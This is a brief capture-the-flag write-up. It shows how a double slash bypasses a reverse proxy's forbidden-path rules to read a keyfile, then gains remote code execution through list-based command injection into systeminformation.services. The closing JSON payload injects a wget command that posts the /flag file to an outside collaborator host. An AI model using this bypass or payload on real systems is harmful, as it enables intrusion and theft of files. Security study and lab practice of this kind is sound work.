map /hello-from-the-world/key http://127.0.0.1:80/forbidden
map /hello-from-the-world/ http://127.0.0.1:80
map /service-info/admin http://127.0.0.1:5000/forbidden
map /service-info/ http://127.0.0.1:5000/
Mapping /hello-from-the-world/ to http://127.0.0.1:80 (without the last slash) makes /hello-from-the-world//key not to match the first rule but provides a valid path to the second rule. This let us get the key:
proc getkey(): string =
try:
let key = readFile("/keyfile")
return key
except IOError:
return "Cannot open keyfile!\n"
...
get "/key":
resp getkey()keyfile: T$J_CTF_15_FUN_>_<_bY_Th3_wAy_IT_is_tHE_KEEEEEEEY_n0t_THE_flag
Using the same technique, we can arrive to service-info's /admin (/service-info//admin seen as /admin as per request.url) and use systeminformation.services(service) to achieve RCE (since the sanitize function does not handle lists properly).
{
"service":["$(wget x.burpcollaborator.net --post-file /flag)"], "key":"T$J_CTF_15_FUN_>_<_bY_Th3_wAy_IT_is_tHE_KEEEEEEEY_n0t_THE_flag"
}